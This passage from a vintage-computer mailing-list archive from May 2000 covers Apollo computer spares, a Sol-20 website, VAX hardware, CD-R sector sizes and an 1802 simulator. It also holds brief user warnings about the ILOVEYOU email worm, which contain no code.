<3.0.1.16.20000504063540.2677c75c@mailhost.intellistar.net> John, At 11:19 PM 5/3/00 -0400, you wrote: >On Wed, May 03, 2000 at 09:15:03PM -0400, allisonp wrote: >> >> > Even got parts from a lunar lander... >> >> What? Name 'em! >> > >> > Part of the RADAR altimeter and a spare hatch. >> >> Parts of the flight computer would be a catch! Even those of the >> Shuttle. > >Forgive my ignorance, I was just a kid at the time, but weren't the >lunar landers abandoned to crash-land on the moon after the trip was >over? Yes, you're right. So is this stuff from prototypes or am I missing something? These were spares. FWIW even the stuff that cames back to earth in the capsules is very seldom available. It is usually cut apart for testing or put in a museum somewhere. Joe > >John Wilson >D Bit > From bobstek at ix.netcom.com Thu May 4 06:18:45 2000 From: bobstek at ix.netcom.com (Bob Stek) Date: Sun Feb 27 18:51:28 2005 Subject: New home for Sol web site In-Reply-To: <4.3.0.20000503235140.00b14e60@pacbell.net> Message-ID: Jim - Congratulations! It is a fine website (and one that I wish I wuold have had the time and energy to have put together). I will be sending you some material to add to the collection (as soon as I find it!). I do like tha addition of the NorthStar material since many, many Sols had the affordable N* drives mated to them rather than the $2,000+ Helios behemouth. Besides being my own first computer, in a curious (bizarre?) way it was an inspiration for the design of the Apple II. Besides having a built-in keyboard, cassette interface, and TV output, its physical characteristics inspired Jobs design of the Apple case: "Jobs thought the cigar boxes [housing the home-made computers] that sat on the ... desk tops during Homebrew meetings were as elegant as fly traps. The angular, blue and black sheet-metal case that housed Processor Technology's Sol struck him as clumsy and industrial ... A plastic case was generally considered a needless expense compared to the cheaper and more pliable sheet metal. Hobbyists, so the arguments went, didn't care as much for appearance as they did for substance. Jobs wanted to model the case for the Apple after those Hewlett-Packard used for its calculators. He admired their sleek, fresh lines, their hardy finish, and the way they looked at home on a table or desk." Michael Moritz, THE LITTLE KINGDOM, p. 186. Although I must take umbrage with that statement. I happen to feel that the Sol's bright blue case and polished walnut sides made it quite attractive myself. But then again, I suppose that I'm just an "industrial" guy. Bob Stek Saver of Lost SOLs > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Jim Battle > Sent: Thursday, May 04, 2000 3:02 AM > To: classiccmp@classiccmp.org > Subject: New home for Sol web site > > > Sorry for the self-promotion here, but I've made a lot of changes to my > web site dedicated to the Sol computer. Some of the list members > may be interested. In no particular order: > > *) The list's very own Mike Noel was kind enough to scan two P.T. > Access newsletters from his collection. I've ocr'd one of them > and put it on-line. The second one is in progress. > Check it out at: > http://www.thebattles.net/sol20/access_v2n1.pdf > > *) Paul Schaper had the foresight to archive his collection of > sol cassettes back when he bought them. He has forwarded > the binaries to me, which can be had at this location (along > with the other programs that were already there): > http://www.thebattles.net/sol20/solpgms.html > > *) the Sol web site has a new home. The old location > was hosted on a banner-ad supported free web site. Due > to the banner ads and the fact that I was running out of space, > the Sol pages have found a new home. If you are interested, > take a look here: > http://www.thebattles.net/sol20/sol.html > > *) if you have been to the site before and want to know what has > changed, the history of changes are here: > http://www.thebattles.net/sol20/solnew.html > > Any suggestions, corrections, and donations can be sent to me, > frustum@pacbell.net. > > Thanks. > > > ----- > Jim Battle == frustum@pacbell.net > From at258 at osfn.org Thu May 4 06:41:17 2000 From: at258 at osfn.org (Merle K. Peirce) Date: Sun Feb 27 18:51:28 2005 Subject: New home for Sol web site In-Reply-To: <4.3.0.20000503235140.00b14e60@pacbell.net> Message-ID: On Thu, 4 May 2000, Jim Battle wrote: > Sorry for the self-promotion here, but I've made a lot of changes to my > web site dedicated to the Sol computer. Some of the list members > may be interested. In no particular order: I always suspected that Sol Invictis cult wasn't dead... From allisonp at world.std.com Thu May 4 07:31:08 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:28 2005 Subject: What a weekend! In-Reply-To: <20000503231933.A24114@dbit.dbit.com> Message-ID: > > Parts of the flight computer would be a catch! Even those of the > > Shuttle. > > Forgive my ignorance, I was just a kid at the time, but weren't the > lunar landers abandoned to crash-land on the moon after the trip was > over? So is this stuff from prototypes or am I missing something? No John, your not missing anything. The LM was lost after use but there were protos, simulators, I believe one that was built but never got to fly and of course spares for the ones built. I used to live on LI not to far from PLANT-33 (Grumman Corp) who built the LM and did go to the auctions back in the 70s when the moon/aerospace shutdown occured. I still have a few trinkets around somewhere from stuff I bought then. Allison From allisonp at world.std.com Thu May 4 07:35:33 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:28 2005 Subject: VAX system wanted In-Reply-To: <004001bfb57d$175eee20$0190fea9@beast> Message-ID: Of the vaxen to look for a Microvax2000, or Microvax3100 are quite small. Next up on the size scale are the MicrovaxII series, MV3400s and friends. If you really want only and can accomodate 2 short racks a 750 or 730 series is not unreasonable. The university is the place to start looking as the often junk out older systems like VAXen and Suns. Allison On Wed, 3 May 2000, The Basement wrote: > Hello all at classiccmp!!! > > I'm, looking to pick up an older vax system, possibly a microvax. I'm > interested in ANY smaller main or minicomputer. We have some extra space in > teh Computer Club room at our University. We don't have much as far as > usable stuff goes ( a Pentium 75 Intel Box ). I would REALLY love to find a > uVax to setup and possibly host a server for classic computers for our ACM > Chapter, which could really use a project like this, since we are newly > formed. > > > Thanks! > Shane Wolfe > Frostburg State University > Frostburg, Maryland > From allisonp at world.std.com Thu May 4 07:36:36 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:28 2005 Subject: Plextor CD writers In-Reply-To: <4.3.1.2.20000503211436.00cc18f0@208.226.86.10> Message-ID: Chuck, Ask the question on the NetBSD portvax list, I think someone there was working on that. Allison On Wed, 3 May 2000, Chuck McManis wrote: > Ok, so a couple of people have pointed out that the Plextor's support 512 > byte sectors. Further the Plextor CD writer also supports 512 byte sectors. > So my question is can I use it to write a bootable disk image? Has anyone > tried this? Tim? > > --Chuck > From allisonp at world.std.com Thu May 4 07:42:11 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:29 2005 Subject: Cincinatti Milacron In-Reply-To: <20000504063719.31825.qmail@hotmail.com> Message-ID: Well someone knews these some. the one that I worked with was not hooked to any mill, it was instead of DEC. It happens to be a 6701 bitslice based system with core. The Ones I had contact with were the 2100 and the 2200 (sith disks and all the goodies). $10k??? Foo, I could had the 2100 we were using for 2000 (early 1973). Allison On Thu, 4 May 2000, Will Jennings wrote: > Ah yes, the Cincinatti Milacron. Now that is a truly unusual beast... I'd > bet you could probably find one pretty easily, it would just cost you > something like $10,000 however. The reason being is that Cincinatti Milacron > was formerly known as the Cincinatti Milling Machine Co., and they are known > for their machine tools, I think mostly lathes and the like (lathes for > steel, not wood). At any rate, in about 1970 or '71, they decided to > computerize their milling machines, but they didn't want to use just someone > else's mini (i.e., a PDP-11 for example), so they designed their own. The > first model was not actually designed by them, it was a General Automation I > think, I can't remember. However, all later machines were inhouse designs. > They're all 16-bits, can't remember too much else though. I got this info > out of circa 1968-1973 or so vintage copies of "Datamation". > > Will J > ________________________________________________________________________ > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com > From jhfine at idirect.com Thu May 4 08:10:52 2000 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:51:29 2005 Subject: OT: Test Message-ID: <391176DC.5DBE4870@idirect.com> Testing - Please Ignore! From jhfine at idirect.com Thu May 4 08:11:44 2000 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:51:29 2005 Subject: OT: Test Message-ID: <39117710.1DADC43B@idirect.com> Testing - Please Ignore! From mikeford at socal.rr.com Thu May 4 08:36:55 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:29 2005 Subject: OT: Test In-Reply-To: <391176DC.5DBE4870@idirect.com> Message-ID: >Testing - Please Ignore! Replying to OT test, please ignore. From lemay at cs.umn.edu Thu May 4 09:33:44 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:29 2005 Subject: card punch available Message-ID: <200005041433.JAA24779@caesar.cs.umn.edu> I just noticed that there is a card punch machine available here in Minneapolis if someone wants to come and get it. I didnt pay attention to the exact model, but its one of the 'old' ones, ie, its definitely not the one with the LED display in the keyboard. Anyways, if you want it you would probably have to pick it up next week before it goes to the recycling center. And you would have to let them know you want it, and arrange for a time to pick it up. -Lawrence LeMay lemay@cs.umn.edu From dogas at leading.net Thu May 4 09:41:20 2000 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:51:29 2005 Subject: COSMAC 1802 Simulator Message-ID: <00fc01bfb5d6$d2c64060$ca646464@dogclient01> Hi, (comments embedded below) From: allisonp@world.std.com > >Havent played anything hard on it to test if it is a valid 1802 but I have >comments and suggestions. > > Build it as a basic engine, if it needs ram then set a external parameter > list for how much and what addresses, same for rom. Yep, in there from the beginning.... maybe for multiple instances of cosmacs 'linked' to each other or at least as a few depositable c++ classes that can be that generic engine.. But I didn't consider the "Load List" idea for [all] individually specified ram and rom blocks to define a 'complete system'. *snag* ;) Thanks. This LL should probably also specify any additional 'hardware' thrown in (uart, parallel interface( probabbly necessary to simulate a cosmac disk drives and raising CDOS in the emulator (final goal)), etc) > Simulate IO, if it has a uart on the N-lines then create the > registers/data you interact with (or the Q and Sense lines). I'm reviewing the CDP1854 uart specs and a UT21 rom listing now and will add it shortly. I need UT4! ( and UT3, etc... ) >The console can be like the ELF (switches and lights) and/or >a RS232 tube connected via Q and F lines, software uart required >as part of the code as UT4 does. > > Load UT4 (or whatever) from a start up list to emulate the rom > and have the 1802 engine execute the "rom" cone out of memory space. > This would allow code to "call" various ut4 routines like get or type. > > The miniassembler is nice and plenty handy. You may want to consider > having it run like real code loaded into ram later on. Thanks. And I see your point > The core of the instruction set is fairly regular so the select tree > can be broken into functional sub trees for simpler code. > > The version of TB I have is quest TB and I don't have it on machine > readable form (other than papertape which I currentlly can't read) > so I'd have to copy the pages and someone can have the fun of toggleing > it in, it'a about 1k or 2k. Somebody else has been there done that. Thanks Kirk! Thanks for the suggestions, Allison! More soon. :) - Mike: dogas@leading.net >Allison > >On Wed, 3 May 2000, Mike wrote: > >> Tonight I added the mini-assembler and memory block saves&loads to the 1802 >> simulator. The 95/98/nt console binary and source-code are at: >> >> http://users.leading.net/~dogas/classiccmp/cosmac/vcosmac.htm >> >> >Allison >> > >> >Good runs under W95/nt then, have that running. >> >M!... Ah UT4. have manual. >> >> heh.. early influences... >> >> >Wheres Bin/CPP for it? >> >> Up there. >> >> Let me know if it doesn't do what you think it should. >> >> Thanks >> - Mike: dogas@leading.net >> >> >> > >> >Last emulator for 1802 I'd played with was z80 based, even on a 4mhz z80 >> >it was faster than 1802. I wonder where I put that. >> > >> > >> > From ard at p850ug1.demon.co.uk Thu May 4 12:53:55 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:29 2005 Subject: Looking for LMI LISP Machines In-Reply-To: <4.3.1.2.20000501152408.00d61ae0@mail.city-net.com> from "Bill von Hagen" at May 1, 0 03:29:16 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 299 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000504/7f04ca8b/attachment.ksh From ard at p850ug1.demon.co.uk Thu May 4 13:04:37 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:29 2005 Subject: IBM PC parts In-Reply-To: <200005032347.QAA29127@civic.hal.com> from "Dwight Elvey" at May 3, 0 04:47:36 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3283 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000504/16a84171/attachment.ksh From eric at brouhaha.com Thu May 4 13:45:25 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:29 2005 Subject: What a weekend! In-Reply-To: <20000503231933.A24114@dbit.dbit.com> (message from John Wilson on Wed, 3 May 2000 23:19:33 -0400) References: <008a01bfb568$52d88110$8264c0d0@ajp166> <20000503231933.A24114@dbit.dbit.com> Message-ID: <20000504184525.8942.qmail@brouhaha.com> John Wilson writes: > Forgive my ignorance, I was just a kid at the time, but weren't the > lunar landers abandoned to crash-land on the moon after the trip was > over? So is this stuff from prototypes or am I missing something? I recently read somewhere that around 150 AGCs were built, and about 75 used in space. I'm very skeptical of that number, but it does makes me wonder how many of them were involved in each mission. Assuming that they were also used on Apollo-Soyuz and the Skylab missions, that makes about 16 missions, so they would have had to use about nearly five per mission to accout for 75 of them. I was of the impression that they were designed for a tight fit in an odd-shaped space in the command module; was the same computer used in the lander as well, or in other parts of the spacecraft? From eric at brouhaha.com Thu May 4 13:49:04 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:29 2005 Subject: Plextor CD writers In-Reply-To: <4.3.1.2.20000503211436.00cc18f0@208.226.86.10> (message from Chuck McManis on Wed, 03 May 2000 21:15:47 -0700) References: <4.3.1.2.20000503211436.00cc18f0@208.226.86.10> Message-ID: <20000504184904.8977.qmail@brouhaha.com> Chuck writes: > Ok, so a couple of people have pointed out that the Plextor's support 512 > byte sectors. Further the Plextor CD writer also supports 512 byte sectors. > So my question is can I use it to write a bootable disk image? Has anyone > tried this? Tim? You don't need a CD-writer that supports 512-byte sectors in order to write CDs for VAXen, unless you want to use the same drive on the VAXen for reading the discs. The discs don't really have a 512-byte format; they always have the same physical format which is normally presented to the host as 2048-byte sectors. However, drives that support 512-byte mode will internally split transfers into 512-byte pieces. AFAIK, even on a VAX, the available software to *write* CDs uses "normal" 2048-byte transfers. So I think the answer is that *any* CD-R drive should be able to write a bootable image. From eric at brouhaha.com Thu May 4 13:55:14 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:29 2005 Subject: IBM PC parts In-Reply-To: (message from Mike Ford on Thu, 4 May 2000 02:46:14 -0700) References: from "Mike Ford" at May 3, 0 11:01:38 am Message-ID: <20000504185514.9033.qmail@brouhaha.com> Mike Ford asks: > Was it really "later", or was the 64-256k an option available at the same > time as the 16-64k? It was really later. At FCS, 64K was the maximum supported on the planar. IBM offered 64K expansion cards. The PC required DIP switches on the planar to be set to indicate to the BIOS the total amount of installed memory (both on the planar and expansion cards). The maximum supported by the switch settings was well under 640K. IBM-DOS believed the memory limit set by the BIOS, so if you had more than the BIOS could understand, you had to use a batch script with DEBUG, a TSR or other similar hack to make the machine believe that it had more memory. From allisonp at world.std.com Thu May 4 14:00:28 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:29 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug In-Reply-To: Message-ID: It's an email worm that takes advantage of MS Active-x controls. This is a wide spreading fast mover and packs a payload. Locally several companies have reported it and it was only launched less than a day ago. WWW.f-secure.com has details. Allison From allisonp at world.std.com Thu May 4 14:03:50 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:29 2005 Subject: What a weekend! In-Reply-To: <20000504184525.8942.qmail@brouhaha.com> Message-ID: > I recently read somewhere that around 150 AGCs were built, and about 75 > used in space. I'm very skeptical of that number, but it does makes me > wonder how many of them were involved in each mission. Assuming that > they were also used on Apollo-Soyuz and the Skylab missions, that makes > about 16 missions, so they would have had to use about nearly five per > mission to accout for 75 of them. Unknown, however it's possible. > I was of the impression that they were designed for a tight fit in an > odd-shaped space in the command module; was the same computer used in > the lander as well, or in other parts of the spacecraft? I've seen the command module and the LM versions and they are parctically part of the structure and depend on it for conductive cooling. The CM and LM machines are of similar design but not the same. The basic requirements and design window account for them being very similar. Allison From CLASSICCMP at trailing-edge.com Thu May 4 14:11:54 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:51:29 2005 Subject: Plextor CD writers Message-ID: <000504151154.20200c46@trailing-edge.com> Chuck writes: > Ok, so a couple of people have pointed out that the Plextor's support 512 > byte sectors. Further the Plextor CD writer also supports 512 byte sectors. > So my question is can I use it to write a bootable disk image? Has anyone > tried this? Tim? The actual sectors on the CD-ROM are *always* really 2048-byte sectors. Setting a CD-ROM reader to 512 bytes/sector just splits each real sector into four. And many SCSI CD-ROM drives will gladly do this via a SCSI mode select command (though not all VAXen issue the command, nor do all drives pay attention to it!) and with some you can do it with physica jumpers instead (or also.) (Actually, I'm reluctant to call the information on the CD as "physical sectors" since really the data and error correction information are interleaved and spread out over the spiral, so that a scratch in one place won't ruin all chances of recovering the data via ECC. The point is, a CD-ROM is a bunch of blocks, just as a hard drive is.) At write-time, all CD-writing software that I know of does things in terms of 2048-byte sectors. Even the CD-writing software that runs under VMS (for example, "cdwrite" and "cdrecord".) If you're really bored you can learn how to do mode page editing on SCSI drives yourself. I learned it a couple of years back when I got a boatload of Micropolis 1.6Gig drives that had been set for 520-byte sectors and wanted to use them in a more "normal" 512-byte mode. Since then the skill has come in handy to connect modern, fast, and "large" (i.e. 9 Gbytes or larger) SCSI drives onto systems that don't deal with drives that large. Just go in, edit the disk capacity mode page, and you've got a smaller than 1 Gig drive that never has to seek very far :-). -- Tim Shoppa Email: shoppa@trailing-edge.com Trailing Edge Technology WWW: http://www.trailing-edge.com/ 7328 Bradley Blvd Voice: 301-767-5917 Bethesda, MD, USA 20817 Fax: 301-767-5927 From pat at transarc.ibm.com Thu May 4 14:15:16 2000 From: pat at transarc.ibm.com (Pat Barron) Date: Sun Feb 27 18:51:29 2005 Subject: What a weekend! In-Reply-To: <20000503231933.A24114@dbit.dbit.com> Message-ID: On Wed, 3 May 2000, John Wilson wrote: > > Forgive my ignorance, I was just a kid at the time, but weren't the > lunar landers abandoned to crash-land on the moon after the trip was > over? So is this stuff from prototypes or am I missing something? > Not sure where the particular units in question came from, but as Eric pointed out, a number of the various parts were never flown. There were even a few entire landers that never flew. If you are ever in Philadelphia, be sure to visit the Franklin Institute, where they have the Apollo 19 lunar module parked out in the back yard (Apollo 19 was one of the missions in the original schedule that was eventually cancelled). In an effort to keep this post slightly on-topic, if you're at all interested in the computers that flew on these missions, you must read: Journey to the Moon: The History of the Apollo Guidance Computer by Eldon C. Hall ISBN 156347185X Hall was a member of the MIT Instrumentation Lab team that that designed the AGC. It's a little light on real technical details, but an excellent read. --Pat. From mcguire at neurotica.com Thu May 4 14:18:29 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:51:29 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug In-Reply-To: Watch for "ILOVEYOU" loveletter.VBS bug (allisonp@world.std.com) References: Message-ID: <14609.52485.674462.260780@phaduka.neurotica.com> On May 4, allisonp@world.std.com wrote: > It's an email worm that takes advantage of MS Active-x controls. > > This is a wide spreading fast mover and packs a payload. > > Locally several companies have reported it and it was only launched > less than a day ago. Sure enough, got this on my mail server this morning: May 4 11:46:16 srv1 sendmail[4958]: LAB04956: usgate.e-mail.com.: SMTP DATA-2 protocol error: 570 Rejected.Potential ILOVEYOU virus. Why do people use crappy software like that? If I hear one more idiot say "but I NEEEEEEEEEEEED it!" in reference to micro$lop I'm going to go postal. -Dave McGuire From wilson at dbit.dbit.com Thu May 4 15:01:45 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:29 2005 Subject: IBM PC parts In-Reply-To: ; from mikeford@socal.rr.com on Thu, May 04, 2000 at 02:46:14AM -0700 References: Message-ID: <20000504160145.A26783@dbit.dbit.com> On Thu, May 04, 2000 at 02:46:14AM -0700, Mike Ford wrote: > Was it really "later", or was the 64-256k an option available at the same > time as the 16-64k? I'm 99% sure it was "later". I bought my 5150 new in 1983, and there was no choice in mobo, I got the minimum config of 64 KB and one 160/180 KB disk. I'm glad that the mobo could take more because I had to immediately upgrade the machine to 128 KB, MASM 1.00 was claimed to run in 64 KB but evidently that was under PC-DOS 1.x. I splurged and spent the extra $20 for PC-DOS 2.0 and at ~21 KB it was so bloated that MASM wouldn't fit! And even once it was working, it couldn't take pathnames in filenames (very annoying for INCLUDE) since it still lived in FCB world. Still have the machine, but I swapped in a V20 CPU at the earliest opportunity (and lost the 8088 many moves ago) so I suppose I ruined any "classic" value it would ever have. Awwww... I also fried the MDA in the course of some modifications (#1 was to double the memory so it could display 50 lines of text with interleave, no flicker at all with that soupy IBM monitor, #2 was to add color support and change the base I/O and mem addresses, screwed something up there), but I like the HGC+ better anyway. John Wilson D Bit From oliv555 at arrl.net Thu May 4 15:10:54 2000 From: oliv555 at arrl.net (Nick Oliviero) Date: Sun Feb 27 18:51:29 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug References: <14609.52485.674462.260780@phaduka.neurotica.com> Message-ID: <3911D94E.A64DA6BD@arrl.net> Dave McGuire wrote: > On May 4, allisonp@world.std.com wrote: > > It's an email worm that takes advantage of MS Active-x controls. > > Why do people use crappy software like that? If I hear one more > idiot say "but I NEEEEEEEEEEEED it!" in reference to micro$lop I'm > going to go postal. Whoa...hold your fire..... while I haven't seen this particular beastie, my BlackIce Defender just set off an alarm for an attack attempt with the NetBus trojan horse. Don't know if this is a new one or not. Running BlackIce on the _paranoid_ setting. As far as the micro$lop, soon as I find a -500au my Aptiva is history. ..... Nick From steverob at hotoffice.com Thu May 4 15:20:54 2000 From: steverob at hotoffice.com (Steve Robertson) Date: Sun Feb 27 18:51:29 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug Message-ID: <2921A6D846E9D31182490050040DC0D65B8DE1@hoexc101.hotoffice.com> It's certainly spreading fast, I've already received three corrupt messages. Two of them came from other list servers (not this one) that I belong to and one came from a friend. Fortunately, I don't think this one is too distructive... Steve Robertson > It's an email worm that takes advantage of MS Active-x controls. > > This is a wide spreading fast mover and packs a payload. > > Locally several companies have reported it and it was only launched > less than a day ago. > > WWW.f-secure.com has details. > > Allison > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000504/9d51ddce/attachment.html From pete at dunnington.u-net.com Thu May 4 15:36:50 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:51:29 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug In-Reply-To: allisonp@world.std.com "Watch for "ILOVEYOU" loveletter.VBS bug" (May 4, 15:00) References: Message-ID: <10005042136.ZM1624@indy.dunnington.u-net.com> On May 4, 15:00, allisonp@world.std.com wrote: > > It's an email worm that takes advantage of MS Active-x controls. > > This is a wide spreading fast mover and packs a payload. > > Locally several companies have reported it and it was only launched > less than a day ago. > > WWW.f-secure.com has details. We've already had one hard drive wiped out by it :-( -- Pete Peter Turnbull Dept. of Computer Science University of York From pete at dunnington.u-net.com Thu May 4 15:41:38 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:51:29 2005 Subject: Plextor CD writers In-Reply-To: Chuck McManis "Re: Plextor CD writers" (May 4, 1:50) References: <4.3.1.2.20000503211436.00cc18f0@208.226.86.10> <4.3.1.2.20000504014851.02b9c860@208.226.86.10> Message-ID: <10005042141.ZM1640@indy.dunnington.u-net.com> On May 4, 1:50, Chuck McManis wrote: > I tried to duplicate the bootable VMS 7.1 CD on my Sony CD-R drive and it > didn't work. (Using Adaptec EZ CD creator's "Clone" facility) So I guessed > it was the block size issue. > --Chuck More likely just a format that EZ CD can't read -- it understands ISO-9660, RockRidge extensions, and Joliet extensions, but I suspect the VMS CD (like most Solaris, IRIX, etc) isn't ISO format. If you have access to a unix/linux box, try reading it with 'dd' (that's how I copy Solaris, Mac HFS, IRIX EFS/XFS, etc). As several others have said, all data mode CDs have 2048-byte "sectors" on the physical medium (2352 bytes if audio). -- Pete Peter Turnbull Dept. of Computer Science University of York From SWMORETP at aol.com Thu May 4 15:43:50 2000 From: SWMORETP at aol.com (SWMORETP@aol.com) Date: Sun Feb 27 18:51:29 2005 Subject: Classic Computer Stuff Message-ID: <15.35bdcb6.26433b06@aol.com> Don't know if for sale posts are OK. I'm a newbie to this group. If it isn't I won't do it again. We sell Classic Computer Stuff on eBay We specialize in Apple II and III computers, hardware, software and accessories but have sold a Mac 128, TRS-80 Model 4D, Osborne 1 plus software and hardware for Osborne, Morrow, TRS-80, Lisa etc as well as old MS-DOS (we have 1.1 up for auction now), old Windows software etc. Your name - SOFTWARE & MORE E-mail address - SWMoreTP@aol.com Web page URL - eBay Auctions: http://cgi6.ebay.com/aw-cgi/eBayISAPI.dll?ViewListedItems&userid=swmoretp@aol. com Web page URL - Collectible Software: http://members.aol.com/SWMoreTP/Collectiblesoftware.html Country, and state or province if in the USA or Canada.- California Real address - 7250 Aubrun Blvd #154, Citrus Heights, California Computers of interest - Apple II, III, Mac 128, Lisa Geographical area covered - Everywhere Transport and storage capabilities HERE IS A LIST OF THE AUCTIONS I HAVE POSTED SO FAR THIS WEEK: dBASE II Ver. 2.3b for Osborne in the Box 323665858 $6.99 - - 1 - May-02-00 May-09-00 20:33:17 5d 10h 44m Rainbow 100, DECmate II etc. Guide by Digital 323669372 $3.99 - - 1 - May-02-00 May-09-00 20:36:22 5d 10h 47m TRS-80 OS-9 Pascal in the Box. 323672648 $4.99 $4.99 - 1 1 May-02-00 May-09-00 20:39:05 5d 10h 49m Xerox 820 Diagnostic Exerciser 8" Diskette 323675905 $3.99 $3.99 - 1 1 May-02-00 May-09-00 20:41:59 5d 10h 52m Fast Load Cartridge for Commodore 64 323684666 $3.99 - - 1 - May-02-00 May-09-00 20:50:01 5d 11h 0m Osborne 1 User's Reference Guide by Osborne 323686761 $5.99 - - 1 - May-02-00 May-09-00 20:52:08 5d 11h 2m Apple III Serial Card Made by Apple 323689340 $4.99 $4.99 - 1 1 May-02-00 May-09-00 20:54:20 5d 11h 5m 3 Adam Computer Manuals 324434358 $3.99 - - 1 - May-03-00 May-10-00 20:04:31 6d 10h 15m Apple Advertising Video Tape in the Box 324438139 $4.99 - - 1 - May-03-00 May-10-00 20:08:02 6d 10h 18m Apple II/Plus Language Card by Apple in Box 324451342 $8.99 - - 1 - May-03-00 May-10-00 20:20:16 6d 10h 31m 1984 Adventure Game Book with Clues, Maps etc 322080858 $8.00 $8.50 - 1 3 Apr-30-00 May-10-00 20:46:27 6d 10h 57m Apple IIe Error Advertising Booklet by Apple 322086524 $6.00 - - 1 - Apr-30-00 May-10-00 20:51:26 6d 11h 2m Ultima I for Apple II NEW in the Box 322090517 $9.99 $71.50 - 1 22 Apr-30-00 May-10-00 20:56:09 6d 11h 7m Very Collectible MacCharlie for Macintosh 128 322095879 $9.99 $11.50 - 1 4 Apr-30-00 May-10-00 21:01:27 6d 11h 12m Macintosh 128 Motherboard in the Box 322100160 $7.99 $22.27 - 1 7 Apr-30-00 May-10-00 21:06:12 6d 11h 17m MS-DOS 1.1 in the Box 322102357 $9.99 $10.99 - 1 3 Apr-30-00 May-10-00 21:09:11 6d 11h 20m TRS-80 VAR/80 Telesis Interface 322849186 $5.99 $5.99 - 1 1 May-01-00 May-11-00 20:38:27 7d 10h 49m Intel Single Board Computer 80/10, 1975! 322852592 $4.99 $22.50 - 1 7 May-01-00 May-11-00 20:41:36 7d 10h 52m Apple II Transwarp Accelorator Card by AE 322857405 $9.99 $19.00 - 1 6 May-01-00 May-11-00 20:46:26 7d 10h 57m Apple II Clone: Franklin Ace 1000 New in Box 322860352 $9.99 $10.50 - 1 3 May-01-00 May-11-00 20:49:20 7d 11h 0m Thank you, Tony & Paula SWMoreTP@aol.com SOFTWARE & MORE From oliv555 at arrl.net Thu May 4 15:48:49 2000 From: oliv555 at arrl.net (Nick Oliviero) Date: Sun Feb 27 18:51:29 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug References: Message-ID: <3911E231.F28382B7@arrl.net> Just logged into my work system (I'm at home on vacation now) and sure enough, its there, along with a warning from our SysAdmin to delete it immediately. Outlook wouldnt let me do that, so it will have to keep for the next 2 weeks. allisonp@world.std.com wrote: > It's an email worm that takes advantage of MS Active-x controls. > > This is a wide spreading fast mover and packs a payload. > > Locally several companies have reported it and it was only launched > less than a day ago. > > WWW.f-secure.com has details. > > Allison From pechter at pechter.dyndns.org Thu May 4 15:55:29 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:29 2005 Subject: Plextor CD writers In-Reply-To: <10005042141.ZM1640@indy.dunnington.u-net.com> from Pete Turnbull at "May 4, 2000 08:41:38 pm" Message-ID: <200005042055.QAA01289@bg-tc-ppp476.monmouth.com> > On May 4, 1:50, Chuck McManis wrote: > > > I tried to duplicate the bootable VMS 7.1 CD on my Sony CD-R drive and it > > didn't work. (Using Adaptec EZ CD creator's "Clone" facility) So I > guessed > > it was the block size issue. > > --Chuck > > More likely just a format that EZ CD can't read -- it understands ISO-9660, > RockRidge extensions, and Joliet extensions, but I suspect the VMS CD (like > most Solaris, IRIX, etc) isn't ISO format. If you have access to a > unix/linux box, try reading it with 'dd' (that's how I copy Solaris, Mac > HFS, IRIX EFS/XFS, etc). > > As several others have said, all data mode CDs have 2048-byte "sectors" on > the physical medium (2352 bytes if audio). > > -- > > Pete Peter Turnbull > Dept. of Computer Science > University of York > > I believe the newest Adaptec EZ-CD can't do non-ISO or Audio stuff... I think that the Linux and Unix stuff can... Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Thu May 4 15:57:01 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:51:29 2005 Subject: Watch for "ILOVEYOU" loveletter.VBS bug In-Reply-To: <14609.52485.674462.260780@phaduka.neurotica.com> from Dave McGuire at "May 4, 2000 03:18:29 pm" Message-ID: <200005042057.QAA01313@bg-tc-ppp476.monmouth.com> > > May 4 11:46:16 srv1 sendmail[4958]: LAB04956: usgate.e-mail.com.: SMTP DATA-2 protocol error: 570 